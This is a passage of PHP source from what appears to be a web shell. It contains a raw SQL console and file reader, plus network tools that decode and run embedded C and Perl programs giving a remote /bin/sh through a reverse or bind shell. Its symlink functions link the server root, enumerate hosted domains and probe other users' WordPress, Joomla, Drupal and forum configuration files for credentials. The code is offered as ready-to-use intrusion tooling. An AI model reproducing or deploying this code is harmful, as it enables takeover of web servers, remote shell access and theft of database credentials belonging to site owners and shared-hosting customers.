Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $value = htmlspecialchars($value);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
Β  Β  Β  Β  Β  Β  Β  Β  if(@$_POST['p1'] == 'select') {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $_POST['p1'] = 'query';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $num = $db->fetch();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $num = $num['n'];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "<span>".$_POST['p2']."</span> ($num) ";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  for($i=0;$i<($num/30);$i++)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if($i != (int)$_POST['p3'])
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo ($i+1)," ";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if($_POST['type']=='pgsql')
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "<br><br>";
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $db->query(@$_POST['p3']);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if($db->res !== false) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $title = false;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $line = 1;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  while($item = $db->fetch()) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(!$title) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<tr>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($item as $key => $value)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<th>'.$key.'</th>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  reset($item);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $title=true;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '</tr><tr>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $line = 2;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<tr class="l'.$line.'">';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $line = $line==1?2:1;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  foreach($item as $key => $value) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if($value == null)
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<td><i>null</i></td>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  else
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '</tr>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '</table>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  } else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
Β  Β  Β  Β  Β  Β  Β  Β  echo "</td></tr>";
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input Β class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
Β  Β  Β  Β  Β  Β  if(@$_POST['p1'] == 'loadfile') {
Β  Β  Β  Β  Β  Β  Β  Β  $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file");
Β  Β  Β  Β  Β  Β  Β  Β  $file = $db->fetch();
Β  Β  Β  Β  Β  Β  Β  Β  echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
Β  Β  Β  Β  Β  Β  }
Β  Β  }
Β  Β  echo '</div>';
Β  Β  printFooter();
}

function actionNetwork() {
Β  Β  printHeader();
Β  Β  $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
Β  Β  $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
Β  Β  $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
Β  Β  $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
Β  Β  ?>
Β  Β  <h1>Network tools</h1><div class=content>
Β  Β  <form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
Β  Β  <span>Bind port to /bin/sh</span><br/>
Β  Β  Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
Β  Β  </form>
Β  Β  <form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
Β  Β  <span>Back-connect to</span><br/>
Β  Β  Server: <input type='text' name='server' value='<?php echo $_SERVER['REMOTE_ADDR']?>'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
Β  Β  </form><br>
Β  Β  <?php
Β  Β  if(isset($_POST['p1'])) {
Β  Β  Β  Β  function cf($f,$t) {
Β  Β  Β  Β  Β  Β  $w=@fopen($f,"w") or @function_exists('file_put_contents');
Β  Β  Β  Β  Β  Β  if($w) Β  Β {
Β  Β  Β  Β  Β  Β  Β  Β  @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
Β  Β  Β  Β  Β  Β  Β  Β  @fclose($w);
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  Β  Β  if($_POST['p1'] == 'bpc') {
Β  Β  Β  Β  Β  Β  cf("/tmp/bp.c",$bind_port_c);
Β  Β  Β  Β  Β  Β  $out = ex("gcc -o /tmp/bp /tmp/bp.c");
Β  Β  Β  Β  Β  Β  @unlink("/tmp/bp.c");
Β  Β  Β  Β  Β  Β  $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
Β  Β  Β  Β  Β  Β  echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
Β  Β  Β  Β  }
Β  Β  Β  Β  if($_POST['p1'] == 'bpp') {
Β  Β  Β  Β  Β  Β  cf("/tmp/bp.pl",$bind_port_p);
Β  Β  Β  Β  Β  Β  $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
Β  Β  Β  Β  Β  Β  echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
Β  Β  Β  Β  }
Β  Β  Β  Β  if($_POST['p1'] == 'bcc') {
Β  Β  Β  Β  Β  Β  cf("/tmp/bc.c",$back_connect_c);
Β  Β  Β  Β  Β  Β  $out = ex("gcc -o /tmp/bc /tmp/bc.c");
Β  Β  Β  Β  Β  Β  @unlink("/tmp/bc.c");
Β  Β  Β  Β  Β  Β  $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
Β  Β  Β  Β  Β  Β  echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
Β  Β  Β  Β  }
Β  Β  Β  Β  if($_POST['p1'] == 'bcp') {
Β  Β  Β  Β  Β  Β  cf("/tmp/bc.pl",$back_connect_p);
Β  Β  Β  Β  Β  Β  $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
Β  Β  Β  Β  Β  Β  echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
Β  Β  Β  Β  }
Β  Β  }
Β  Β  echo '</div>';
Β  Β  printFooter();
}

function actionSymlink() {
Β  Β  printHeader();
Β  Β  echo '<h1>Symlink</h1>';
Β  Β  $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
Β  Β  $expld = explode('/',$furl );
Β  Β  $burl =str_replace(end($expld),'',$furl);
Β 
Β  Β  echo '<div class="content"><center>
Β  Β  Β  Β  Β  Β  Β  Β  <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config File symlink</a> ]</h3></center>';
Β 
Β  Β  if(isset($_POST['p1']) && $_POST['p1']=='website')
Β  Β  {
Β  Β  Β  Β  echo "<center>";
Β  Β  Β  Β  $d0mains = @file("/etc/named.conf");
Β  Β  Β  Β  if(!$d0mains){
Β  Β  Β  Β  Β  Β  echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
Β  Β  Β  Β  } else {
Β  Β  Β  Β  Β  Β  echo "<table align=center class='main' border=0 ><tr bgcolor=\"#5e5e5e\"><td>Count</td><td>domains</td><td>users</td></tr>";
Β  Β  Β  Β  Β  Β  $count=1;
Β  Β  Β  Β  Β  Β  foreach($d0mains as $d0main){
Β  Β  Β  Β  Β  Β  Β  Β  if(@eregi("zone",$d0main)){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  preg_match_all('#zone "(.*)"#', $d0main, $domains);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  flush();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(strlen(trim($domains[1][0])) > 2){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "<tr><td>".$count."</td><td><a href=http://".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  flush();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $count++;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  echo "</table>";
Β  Β  Β  Β  }
Β  Β  Β  Β  echo "</center>";
Β  Β  }

Β  Β  if(isset($_POST['p1']) && $_POST['p1']=='whole')
Β  Β  {
Β  Β  Β  Β  echo "<center>";
Β  Β  Β  Β  @mkdir('sym',0777);
Β  Β  Β  Β  $hdt Β = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n Β AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
Β  Β  Β  Β  $hfp =@fopen ('sym/.htaccess','w');
Β  Β  Β  Β  fwrite($hfp ,$hdt);
Β  Β  Β  Β  if(function_exists('symlink')) {
Β  Β  Β  Β  Β  Β  @symlink('/','sym/root');
Β  Β  Β  Β  }
Β  Β  Β  Β  $d0mains = @file('/etc/named.conf');
Β  Β  Β  Β  if(!$d0mains) {
Β  Β  Β  Β  Β  Β  echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
Β  Β  Β  Β  } else {
Β  Β  Β  Β  Β  Β  echo "<table align='center' width='40%' class='main'><tr bgcolor=\"#5e5e5e\"><td> Count </td><td> Domains </td><td> User </td><td> Symlink </td></tr>";
Β  Β  Β  Β  Β  Β  $count=1;
Β  Β  Β  Β  Β  Β  foreach($d0mains as $d0main){
Β  Β  Β  Β  Β  Β  Β  Β  if(@eregi('zone',$d0main)){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  preg_match_all('#zone "(.*)"#',$d0main,$domain);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  flush();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(strlen(trim($domain[1][0])) >2){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ddt = $user['name'] ;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  @symlink('/','sym/root');
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ddt = $domain[1][0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(@eregi("\.ir",$domain[1][0]) or @eregi("\.il",$domain[1][0])) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ddt = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$domain[1][0].'</div>';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$domain[1][0].'/>'.$ddt.' </a></td><td>'.$user['name']."</td><td><a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td></tr>";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  flush();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  Β  Β  }
Β  Β  Β  Β  }
Β  Β  Β  Β  echo "</center></table>"; Β 
Β  Β  }

Β  Β  if(isset($_POST['p1']) && $_POST['p1']=='config')
Β  Β  {
Β  Β  Β  Β  echo "<center>";
Β  Β  Β  Β  @mkdir('sym',0777);
Β  Β  Β  Β  $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n Β AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
Β  Β  Β  Β  $hfp = @fopen ('sym/.htaccess','w');
Β  Β  Β  Β  @fwrite($hfp ,$hdt);
Β  Β  Β  Β  if(function_exists('symlink')) {
Β  Β  Β  Β  Β  Β  @symlink('/','sym/root');
Β  Β  Β  Β  }
Β  Β  Β  Β  $d0mains = @file('/etc/named.conf');
Β  Β  Β  Β  if(!$d0mains) {
Β  Β  Β  Β  Β  Β  echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
Β  Β  Β  Β  } else {
Β  Β  Β  Β  Β  Β  echo "<table align='center' width='40%' class='main' ><tr bgcolor=\"#5e5e5e\"><td> Count </td><td> Domains </td><td> Script </td></tr>";
Β  Β  Β  Β  Β  Β  $count = 1;
Β  Β  Β  Β  Β  Β  foreach($d0mains as $d0main){
Β  Β  Β  Β  Β  Β  Β  Β  if(@eregi('zone',$d0main)){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  preg_match_all('#zone "(.*)"#',$d0main,$domain);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  flush();
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(strlen(trim($domain[1][0]))>2){
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));

Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c1 = $burl.'/sym/root/home/'.$user['name'].'/public_html/wp-config.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch01 = get_headers($c1);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf01 = $ch01[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c2 = $burl.'/sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch02 = get_headers($c2);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf02 = $ch02[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c3 = $burl.'/sym/root/home/'.$user['name'].'/public_html/configuration.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch03 = get_headers($c3);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf03 = $ch03[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c4 = $burl.'/sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch04 = get_headers($c4);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf04 = $ch04[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c5 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/config.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch05 = get_headers($c5);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf05 = $ch05[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c6 = $burl.'/sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch06 = get_headers($c6);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf06 = $ch06[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c7 = $burl.'/sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch07 = get_headers($c7);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf07 = $ch07[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c8 = $burl.'/sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch08 = get_headers($c8);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf08 = $ch08[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c9 = $burl.'/sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch09 = get_headers($c9);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf09 = $ch09[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c10 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch10 = get_headers($c10);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf10 = $ch10[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c11 = $burl.'/sym/root/home/'.$user['name'].'/public_html/submitticket.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch11 = get_headers($c11);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf11 = $ch11[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c12 = $burl.'/sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch12 = get_headers($c12);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf12 = $ch12[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c13 = $burl.'/sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch13 = get_headers($c13);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf13 = $ch13[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c14 = $burl.'/sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch14 = get_headers($c14);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf14 = $ch14[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $c15 = $burl.'/sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $ch15 = get_headers($c15);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $cf15 = $ch15[0];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β 
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $out = '&nbsp;';
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  if(strpos($cf01,'200') == true) Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  Β { Β  $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; Β  }
